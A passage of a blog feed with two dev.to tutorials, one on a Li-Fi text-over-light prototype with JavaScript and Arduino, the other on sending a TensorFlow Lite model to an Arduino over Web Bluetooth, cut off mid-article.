&lt;p&gt;This &lt;code&gt;getByte&lt;/code&gt; function starts by waiting 1.5x the interval chosen, then calls &lt;code&gt;getLDRState&lt;/code&gt; 8 times to convert the brightness into a bit value, converts that byte into an ASCII character and logs it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;getByte&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
   &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;INTERVAL&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;1.5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

   &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;newValue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getLDRState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;lightValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
       &lt;span class="nx"&gt;testString&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;newValue&lt;/span&gt;
       &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;INTERVAL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
   &lt;span class="p"&gt;}&lt;/span&gt;

   &lt;span class="nx"&gt;decodedText&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;convertBinaryToASCII&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;testString&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;decodedText&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="nx"&gt;testString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;
   &lt;span class="nx"&gt;detectionStarted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The conversion between binary and ASCII is done with the following code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;convertBinaryToASCII&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;bits&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
   &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;

   &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
   &lt;span class="p"&gt;}&lt;/span&gt;
   &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before running this code, you need to install StandardFirmata onto the receiver board. To do this, follow the &lt;a href="https://instructables.com/id/Arduino-Installing-Standard-Firmata" rel="noopener noreferrer"&gt;steps in this tutorial&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Running both the transmitter and receiver will give something like this.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm574axpfrwsgrmrlz4eb.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm574axpfrwsgrmrlz4eb.gif" alt="Demo of the NeoPixel Jewel sending the text " width="560" height="315"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It works! 🎉&lt;/p&gt;

&lt;h2&gt;
  
  
  Make it work, then make it fast
&lt;/h2&gt;

&lt;p&gt;If you look at the demo above, you’ll see that the transmission is rather slow. This is a problem not only because data will take a long time to transmit but also because the flickering of the light is very noticeable. The goal of Li-Fi is to fully integrate with existing lighting setups to transmit data in a way that wouldn’t be detectable by the human eye. For this, we need to speed up the transmission and reception.&lt;/p&gt;

&lt;p&gt;So far in this post, I’ve started by choosing to update and read the state of the light every 100ms. Using JavaScript, the fastest speed I’ve managed to work with is 60ms. Under that, the detection seems to be failing. This was expected as I do not think JavaScript is the right tool to work with very time-sensitive hardware projects.&lt;/p&gt;

&lt;p&gt;Instead, I decided to switch to using the Arduino library and running the code natively on the board.&lt;/p&gt;

&lt;p&gt;Contrary to JavaScript, the Arduino library runs synchronously which means I didn’t have to find hacks with setTimeout to apply the delays.&lt;/p&gt;

&lt;p&gt;If you’re interested in looking at the Arduino code, you can find it in my &lt;a href="https://github.com/charliegerard/lifi" rel="noopener noreferrer"&gt;GitHub repository&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This way, I managed to decrease the interval to 4ms. As this delay is applied 10 times per byte (once for the preamble, then once for each bit, and once when setting back the light to its initial state), it means a character is sent every 40ms, and the string “Hello, world!” can be transmitted in 520ms, or about half a second, instead of 7.8s in JavaScript!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0zotyhil8j46fay1in3n.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0zotyhil8j46fay1in3n.gif" alt="Similar to the demo above but using Arduino code so transmitting much faster." width="560" height="315"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The transmission is still noticeable at this speed – but it’s much better! &lt;/p&gt;

&lt;p&gt;To get to a point where it could be invisible to the human eye, I would have to experiment with faster microcontrollers, maybe different light sensors and overall approaches, especially as the goal is to also transmit images and videos using this technology. &lt;/p&gt;

&lt;h2&gt;
  
  
  Applications
&lt;/h2&gt;

&lt;p&gt;Li-Fi is not a new technology. This great &lt;a href="https://www.ted.com/talks/harald_haas_wireless_data_from_every_light_bulb?language=en" rel="noopener noreferrer"&gt;TED talk&lt;/a&gt; from 2011 and &lt;a href="https://www.ted.com/talks/harald_haas_forget_wi_fi_meet_the_new_li_fi_internet?language=en" rel="noopener noreferrer"&gt;this one&lt;/a&gt; from 2015 show that researchers have been working on this for more than 10 years. &lt;/p&gt;

&lt;p&gt;It provides a few advantages such as faster data transmission capabilities, intrinsic security, and energy efficiency to mention a few.&lt;/p&gt;

&lt;p&gt;Indeed, as the receiver device needs to be directly placed under the light source, it could ensure that data would not be intercepted by a potential malicious actor, unless they happen to be in direct line of sight. Additionally, in terms of energy savings, it could allow us to save electricity by using our lights as a router instead of using separate devices for lighting and connectivity.&lt;/p&gt;

&lt;p&gt;Additionally, it could present a solution to provide better in-flight Internet connection as Li-Fi would not interfere with radio signals the same way Wi-Fi does. &lt;/p&gt;

&lt;p&gt;In the payment space, terminal devices could be equipped with light detection sensors to allow customers to pay using their phone’s flashlight, instead of using NFC chips. This would allow contactless payments to be done from a larger distance than the maximum 4 cm (1.5 in) currently enabled by NFC and would provide an additional layer of security against drive-by attacks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this post, I went through the steps I took to build a small prototype and experiment with Arduino and JavaScript to send text via light. There are a lot of different aspects of this project that I would be really interested in diving deeper into. In addition to trying out faster microcontrollers, I would like to try to transmit a video file using a MIMO (Multiple Input Multiple Output) approach, but that will be for another time.&lt;/p&gt;

&lt;p&gt;Thanks for reading!&lt;/p&gt;

&lt;p&gt;You can stay up to date with Stripe developer updates on the following platforms:&lt;br&gt;
📣 Follow &lt;a href="https://twitter.com/stripedev" rel="noopener noreferrer"&gt;@StripeDev&lt;/a&gt; and &lt;a href="https://twitter.com/i/lists/1459720002567868418" rel="noopener noreferrer"&gt;our team&lt;/a&gt; on &lt;a href="https://twitter.com/StripeDev" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;br&gt;
📺 Subscribe to our &lt;a href="https://www.youtube.com/StripeDevelopers" rel="noopener noreferrer"&gt;Youtube channel&lt;/a&gt;&lt;br&gt;
💬 Join the official &lt;a href="https://discord.com/invite/RuJnSBXrQn" rel="noopener noreferrer"&gt;Discord server&lt;/a&gt;&lt;br&gt;
📧 Sign up for the &lt;a href="https://go.stripe.global/dev-digest" rel="noopener noreferrer"&gt;Dev Digest&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  About the author
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj6ny5j5emlf76ax4dpvi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj6ny5j5emlf76ax4dpvi.png" alt="Charlie has long brown hair and is wearing glasses. She is standing in front of a white wall with purple lights." width="200" height="200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://twitter.com/@devdevcharlie" rel="noopener noreferrer"&gt;Charlie Gerard&lt;/a&gt; is a Developer Advocate at Stripe, a published author and a &lt;a href="https://charliegerard.dev/" rel="noopener noreferrer"&gt;creative technologist&lt;/a&gt;. She loves researching and &lt;a href="https://charliegerard.dev/" rel="noopener noreferrer"&gt;experimenting with technologies&lt;/a&gt;. When she’s not coding, she enjoys spending time outdoors, reading and setting herself random challenges.&lt;/p&gt;

</description>
      <category>lifi</category>
      <category>arduino</category>
      <category>stripe</category>
      <category>iot</category>
    </item>
    <item>
      <title>Demystifying machine learning via Bluetooth with Arduino</title>
      <dc:creator>Charlie Gerard</dc:creator>
      <pubDate>Fri, 28 Oct 2022 15:42:47 +0000</pubDate>
      <link>https://dev.to/4thzoa/demystifying-machine-learning-via-bluetooth-with-arduino-3j90</link>
      <guid>https://dev.to/4thzoa/demystifying-machine-learning-via-bluetooth-with-arduino-3j90</guid>
      <description>&lt;p&gt;The first time I experimented with &lt;a href="https://www.tensorflow.org/js" rel="noopener noreferrer"&gt;TensorFlow.js&lt;/a&gt; for micro-controllers, I got really excited about the fact that a machine learning model was transferred via bluetooth to my &lt;a href="https://www.arduino.cc/" rel="noopener noreferrer"&gt;Arduino&lt;/a&gt;. In just a few seconds gesture control was enabled on a website! My excitement quickly turned into curiosity; how does it actually work? &lt;/p&gt;

&lt;p&gt;To understand it better, I spent time diving into the open-source script &lt;a href="https://github.com/googlecreativelab/tf4micro-motion-kit/blob/main/web/dist/tf4micro-motion-kit.js" rel="noopener noreferrer"&gt;tf4micro-motion-kit.js&lt;/a&gt; that is used as part of the project &lt;a href="https://experiments.withgoogle.com/tiny-motion-trainer/view/" rel="noopener noreferrer"&gt;Tiny Motion Trainer&lt;/a&gt;. In this post, I am going to explain how a machine learning model can be transferred via bluetooth from the browser to an Arduino. &lt;/p&gt;

&lt;p&gt;If you’re interested in how this technology can be used to create gesture-controlled web applications, check out the &lt;a href="https://dev.to/stripe/gesture-based-payments-2ipd"&gt;previous blog post&lt;/a&gt; I wrote about this.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bluetooth and GATT
&lt;/h2&gt;

&lt;p&gt;A core concept to understand for the rest of this blog post is that Bluetooth Low Energy (BLE) devices transfer data back and forth using what is called &lt;strong&gt;services&lt;/strong&gt; and &lt;strong&gt;characteristics&lt;/strong&gt;, which are concepts that are part of GATT (Generic ATTribute Profile). GATT relies on the ATT (Attribute Protocol) data protocol, which uses 16-bit or 128-bit UUIDs (Universally Unique Identifiers) to store services and characteristics.&lt;/p&gt;

&lt;p&gt;You can think of services and characteristics as variables that will hold data about the functionalities of your device, that can be read or written to from another application or device. &lt;/p&gt;

&lt;p&gt;For example, a service you can find on many BLE devices is called the Battery Service. It contains multiple characteristics, for example the battery level and the battery power state characteristic. When you buy an off-the-shelf device, these services and characteristics are already set for you and you might be able to do some “read” or “write” requests to them.&lt;/p&gt;

&lt;p&gt;On the Arduino however, you can create your own services and characteristics. When it comes to being able to upload a machine learning model to the board, you might want a generic service with characteristics such as the transfer state, the total length of the file, the settings with which your model was trained, and more.&lt;/p&gt;

&lt;p&gt;What do these services and characteristics look like? As mentioned above, they are either 16-bit or 128-bit UUIDs so a service ID could be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"81c30e5c-0000-4f7d-a886-de3e90749161"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this example, you have 32 hexadecimal values. A hexadecimal value is represented as 2^4 so 4 bits that can hold a value of either 0 or 1. As a result, 32 x 4 = 128 bits.&lt;/p&gt;

&lt;p&gt;When these services and characteristics are created in the program running on the Arduino, they can then be read from the browser using these UUIDs.&lt;/p&gt;

&lt;p&gt;Have a look at &lt;a href="https://github.com/googlecreativelab/tf4micro-motion-kit/blob/main/arduino/tf4micro-motion-kit/tf4micro-motion-kit.ino" rel="noopener noreferrer"&gt;the Arduino upload program&lt;/a&gt; if you want to see how all the services and characteristics are created.&lt;/p&gt;

&lt;p&gt;Now, let’s move on to how this works in practice.&lt;/p&gt;

&lt;h2&gt;
  
  
  Connecting to the board
&lt;/h2&gt;

&lt;p&gt;First of all, the board has to be somehow connected to the browser to be able to send or receive data. In this project, this connection is established via bluetooth. Using the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Bluetooth_API" rel="noopener noreferrer"&gt;Web Bluetooth API&lt;/a&gt;, you need to start by using the &lt;code&gt;requestDevice&lt;/code&gt; method on the &lt;code&gt;navigator.bluetooth&lt;/code&gt; object. You can pass in some filters if you’d like so the browser will show you only the device(s) you’re interested in when initiating the connection.&lt;/p&gt;

&lt;p&gt;For example, in the &lt;code&gt;tf4micro-motion-kit.js script&lt;/code&gt;, the main service UUID that is created in the program running on the Arduino is used as a filter to identify the device.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;SERVICE_UUID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;81c30e5c-0000-4f7d-a886-de3e90749161&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;device&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bluetooth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;requestDevice&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
     &lt;span class="na"&gt;filters&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;SERVICE_UUID&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}],&lt;/span&gt;
 &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The code above returns a promise and the next step is to connect to the device:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;server&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;device&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;gatt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If this step is successful, you can start to store the reference of these services and characteristics in variables so you can use them later on. For example, storing a reference to the main service is done with the following line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getPrimaryService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SERVICE_UUID&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And you can define different characteristics with the code below, for example, the file length characteristic using the same ID as the one defined in the &lt;a href="https://github.com/googlecreativelab/tf4micro-motion-kit/blob/main/arduino/tf4micro-motion-kit/ble_file_transfer.cpp#L43" rel="noopener noreferrer"&gt;program uploaded to the Arduino&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;FILE_LENGTH_UUID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;bf88b656-3001-4a61-86e0-769c741026c0&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fileLengthCharacteristic&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;service&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getCharacteristic&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;FILE_LENGTH_UUID&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The characteristic above is used to refer to the file size of the machine learning model in bytes so, when it is transferred to the Arduino, you can check when the entire file has been transferred.&lt;/p&gt;

&lt;p&gt;After the &lt;code&gt;connect()&lt;/code&gt; method has been called and you store all the references to the services and characteristics you’re interested in, the board is connected to the browser and you can move on to the next step.&lt;/p&gt;

&lt;h2&gt;
  
  
  Loading the machine learning model
&lt;/h2&gt;

&lt;p&gt;The model is stored in your application folder as a &lt;code&gt;.tflite&lt;/code&gt; file. First, it needs to be loaded using either the &lt;code&gt;fetch&lt;/code&gt; API or an XMLHTTPRequest. Second, the response needs to be served as an array buffer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;loadFile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;modelUrl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
 &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;oReq&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;XMLHttpRequest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
   &lt;span class="nx"&gt;oReq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;GET&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;modelUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
   &lt;span class="nx"&gt;oReq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;responseType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;arraybuffer&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

   &lt;span class="nx"&gt;oReq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
     &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;arrayBuffer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;oReq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
     &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arrayBuffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arrayBuffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
     &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="nf"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Failed fetching arrayBuffer&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
     &lt;span class="p"&gt;}&lt;/span&gt;
   &lt;span class="p"&gt;};&lt;/span&gt;

   &lt;span class="nx"&gt;oReq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onerror&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
   &lt;span class="nx"&gt;oReq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
 &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once the file is loaded, the next step prepares the file to be transferred.&lt;/p&gt;

&lt;h2&gt;
  
  
  Splitting the machine learning model
&lt;/h2&gt;

